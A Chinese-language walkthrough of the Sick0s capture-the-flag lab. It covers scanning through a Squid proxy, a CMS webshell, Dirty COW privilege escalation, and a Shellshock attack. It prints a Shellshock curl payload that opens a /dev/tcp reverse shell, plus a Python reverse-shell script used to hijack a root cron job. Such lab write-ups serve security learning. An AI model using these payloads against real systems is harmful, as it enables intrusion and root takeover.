【網(wǎng)絡(luò)安全】sick0s 靶場(chǎng)實(shí)踐之getshell

主機(jī)發(fā)現(xiàn)

arp-scan -l
image.png

目標(biāo)ip為192.168.1.12

端口掃描

nmap -sV -sC -T4  192.168.1.12  -p- 
-sV:查看端口對(duì)應(yīng)服務(wù)
-sC:使用默認(rèn)腳本測(cè)試
-T4:快速測(cè)試
-p-:全端口掃描
image.png

掃描完成,看到3128端口,嘗試訪問(wèn)一下

image.png

在這里卡了很久,根據(jù)他的左下角版本信息搜了一下漏洞,還真有一個(gè)對(duì)應(yīng)版本的繞過(guò)訪問(wèn)限制,不過(guò)試了很久都沒(méi)成功,這里壓根沒(méi)想他的功能,實(shí)在過(guò)不去了,看了一下他的writeup才知道原來(lái)這個(gè)端口是http-proxy代理,要通過(guò)這個(gè)端口來(lái)訪問(wèn)他的web服務(wù)。

用proxyfox配一下代理

image.png
image.png

目錄爆破

再次訪問(wèn),發(fā)現(xiàn)正常顯示,不過(guò)頁(yè)面很簡(jiǎn)單,目錄爆破一下

dirb http://192.168.1.12 -p 192.168.1.12:3128  
# -p 是指定代理 
image.png

可以看到有個(gè)connect,可以直接下載是個(gè)py文件,內(nèi)容如下

image.png

其實(shí)他就是提權(quán)的關(guān)鍵,但是我沒(méi)用到,還是因?yàn)槟X子比較笨,感覺(jué)他有問(wèn)題但是沒(méi)找到方法

再訪問(wèn)一下robots.txt

image.png

看到這個(gè)就比較興奮了,訪問(wèn)一下

【→所有資源關(guān)注我,私信回復(fù)“資料”獲取←】
1、網(wǎng)絡(luò)安全學(xué)習(xí)路線
2、電子書(shū)籍(白帽子)
3、安全大廠內(nèi)部視頻
4、100份src文檔
5、常見(jiàn)安全面試題
6、ctf大賽經(jīng)典題目解析
7、全套工具包
8、應(yīng)急響應(yīng)筆記

cms漏洞getshell

image.png

這是個(gè)cms,之前還沒(méi)聽(tīng)說(shuō)過(guò),此處省略在這個(gè)頁(yè)面找漏洞的過(guò)程,找了個(gè)寂寞

使用searchsploit 找一下有沒(méi)有漏洞吧

image.png

還真有,憑借著敏銳的嗅覺(jué)(其實(shí)也因?yàn)樗诺谝粋€(gè)),我直接查看上圖紅框中的內(nèi)容

image.png

文件中寫(xiě)的很清楚了,我們直接訪問(wèn)這個(gè)鏈接看一下有沒(méi)有這個(gè)界面

image.png

有個(gè)登陸界面,到這里剩下的我感覺(jué)太順了

登陸界面直接,admin:admin登陸進(jìn)去

然后就是根據(jù)exploit中的創(chuàng)建文件然后訪問(wèn)執(zhí)行

image.png

shell.php就是我創(chuàng)建的文件,然后點(diǎn)擊該文件就能夠編輯

嘗試執(zhí)行以下系統(tǒng)命令看能不能成功

先向shell.php寫(xiě)入命令

image.png
image.png

成功執(zhí)行

然后就是寫(xiě)入一句話,蟻劍連接

image.png

注意蟻劍這里也要配置代理

image.png
image.png
image.png

權(quán)限提升

從蟻劍進(jìn)入終端,找一下有沒(méi)有suid提權(quán)或者sudo提權(quán)

image.png

好像都沒(méi)有,這里直接上傳一個(gè)linux-suggest文件,他能檢測(cè)該系統(tǒng)有什么漏洞可以利用

為了方便把他改名為s.sh,給他運(yùn)行權(quán)限并執(zhí)行

chmod 777 s.sh
./sh
image.png

執(zhí)行完畢后有很多漏洞,不過(guò)提權(quán)的只有一個(gè)臟牛

這里簡(jiǎn)單說(shuō)一下臟牛提權(quán)

image.png

那就上傳臟牛提權(quán)文件(通過(guò)蟻劍拖拽就能上傳),然后編譯執(zhí)行

gcc -pthread dirty.c -o exp3 -lcrypt
#編譯dirty.c文件并保存為exp3
./exp3 123
#執(zhí)行exp3后面跟的是更改后的密碼,該腳本默認(rèn)將原root用戶名字更改為firefart,所以一旦提權(quán)成功,直接su firefart 然后輸入剛剛更改的密碼就能切換到root用戶
image.png

執(zhí)行完這些命令后就可以看到/etc/passwd中的root用戶的信息已經(jīng)更改為firefart,后面就是我們剛剛更改的密碼123的加密值

這里發(fā)現(xiàn)無(wú)法通過(guò)su切換用戶,但可以通過(guò)ssh連接

不過(guò)這有一個(gè)問(wèn)題就是,提權(quán)完成后大約10秒左右靶機(jī)就會(huì)崩潰,但是我還是憑借著超高的手速查看到了。root目錄下的flag

image.png

這就是我的一個(gè)打靶過(guò)程,有點(diǎn)狗,感覺(jué)這不是作者規(guī)劃的解題思路(至少提權(quán)那里不是),畢竟提權(quán)完成后機(jī)器會(huì)很快崩潰,但是我不愿意再試了,然后就看了一下其他人的wp,發(fā)現(xiàn)是用我前面發(fā)現(xiàn)的那個(gè)connect.py提權(quán),而且getshell是通過(guò)shellshock(破殼)來(lái)實(shí)現(xiàn)的,這里復(fù)現(xiàn)一下大佬們的過(guò)程順便學(xué)習(xí)一下。

到配置http-proxy基本一樣,然后是使用nikto掃描網(wǎng)站

nikto -useproxy http://192.168.0.71:3128 -host http://192.168.0.71 
 
#-userproxy 指定代理 這里是在公司復(fù)現(xiàn)的ip換了
image.png

這里檢測(cè)出/cgi-bin/status這里可能存在shellshock漏洞,這里簡(jiǎn)單了解一下這個(gè)漏洞。

漏洞原理

目前的bash使用的環(huán)境變量是通過(guò)函數(shù)名稱來(lái)調(diào)用的,導(dǎo)致漏洞出問(wèn)題是以“(){”開(kāi)頭定義的環(huán)境變量在命令ENV中解析成函數(shù)后,Bash執(zhí)行并未退出,而是繼續(xù)解析并執(zhí)行shell命令。核心的原因在于在輸入的過(guò)濾中沒(méi)有嚴(yán)格限制邊界,沒(méi)有做合法化的參數(shù)判斷。

使用curl 測(cè)試一下有無(wú)漏洞

curl --proxy 192.168.0.71:3128 -H  'x: () { :;};a= `/bin/id`;echo $a  ' http://192.168.0.71/cgi-bin/status
image.png

沒(méi)有回顯id,不過(guò)返回了系統(tǒng)信息,嘗試一下反彈shell

先在本機(jī)開(kāi)啟監(jiān)聽(tīng)

image.png

然后執(zhí)行下面這條命令反彈shell


curl --proxy 192.168.0.71:3128 -H  'x: () { :;};  /bin/bash -i >&  /dev/tcp/192.168.0.48/8888 0>&1 ' http://192.168.0.71/cgi-bin/status

反彈成功

image.png

因?yàn)閏onnect.py比較可疑,它的所有者是root,但是任何用戶都可以進(jìn)行讀寫(xiě)執(zhí)行

image.png

這里查看一下計(jì)劃任務(wù),linux計(jì)劃任務(wù)存放在/etc/cron*/文件中,

/etc/cron.hourly/ 目錄下存放的是系統(tǒng)每小時(shí)要做的任務(wù)可執(zhí)行腳本

/etc/cron.daily/ 目錄下存放的是系統(tǒng)每天要做的任務(wù)可執(zhí)行腳本

/etc/cron.weekly/ 目錄下存放的是系統(tǒng)每周要做的任務(wù)可執(zhí)行腳本

/etc/cron.monthly/ 目錄下存放的是系統(tǒng)每月要做的任務(wù)可執(zhí)行腳本

這些是可執(zhí)行腳本,不是cron配置文件,crond服務(wù)通過(guò)run-parts 工具調(diào)用執(zhí)行這些腳本
除了上面這幾個(gè)存放定時(shí)任務(wù)的腳本外還有一個(gè)重要的文件cron.d,他是我們解題的關(guān)鍵,它的作用如下

當(dāng)我們要增加全局性的計(jì)劃任務(wù)時(shí),一種方式是直接修改/etc/crontab。但是,一般不建議這樣做,/etc/cron.d目錄就是為了解決這種問(wèn)題而創(chuàng)建的。

例如,增加一項(xiàng)定時(shí)的備份任務(wù),我們可以這樣處理:在/etc/cron.d目錄下新建文件backup.sh,內(nèi)容如下:

# m h dom mon dow user command
* 1 * * * root /sbin/mon_zetc_logtar.sh

cron進(jìn)程執(zhí)行時(shí),就會(huì)自動(dòng)掃描該目錄下的所有文件,按照文件中的時(shí)間設(shè)定執(zhí)行后面的命令。

cron執(zhí)行時(shí),也就是要讀取三個(gè)地方的配置文件:一是/etc/crontab,二是/etc/cron.d目錄下的所有文件,三是每個(gè)用戶的配置文件

因此我們使用以下命令查看相關(guān)計(jì)劃任務(wù)

ls -al /etc/cron*
查看etc目錄下所有以cron開(kāi)頭的文件
image.png

最終在cron.d中的automate找到關(guān)于connect.py的信息

image.png

上圖方框中從左到右分別代表分,時(shí),日,月,周,這里五個(gè)星號(hào)表示每分鐘都會(huì)執(zhí)行。

因此我們可以得出這個(gè)connect.py每分鐘都會(huì)以root用戶執(zhí)行,而且我們可以以普通用戶的身份修改這個(gè)文件。這里就有好幾種方法查看flag文件了,可疑使用python os.system執(zhí)行命令反彈shell,也可以直接使用python反彈shell,也可以給root目錄增大權(quán)限所有用戶都可以訪問(wèn),甚至修改etc/passwd中用戶的權(quán)限,這里我們就用反彈shell的形式提權(quán)。

但是我這里沒(méi)辦法直接使用vim修改connect.py,這樣他會(huì)斷開(kāi),使用python的pty獲得相對(duì)穩(wěn)定的shell還是沒(méi)辦法使用vim編輯,我這里直接在我攻擊機(jī)上先寫(xiě)好代碼(shell.py),使用wget獲取下載到靶機(jī)。

python代碼如下

#!/bin/python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.15",8888))
os.dup2(s.fileno(),0) 
os.dup2(s.fileno(),1) 
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

然后在攻擊機(jī)當(dāng)前路徑開(kāi)啟http服務(wù)

image.png

在靶機(jī)使用

wget獲取python腳本

image.png

使用cat命令將shell.py復(fù)制到connect.py中

image.png

然后斷開(kāi)連接,重新在攻擊機(jī)開(kāi)啟監(jiān)聽(tīng) 8888端口,等了半分鐘,成功反彈shell

image.png

查看flag

image.png

這個(gè)靶場(chǎng)到此結(jié)束!

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容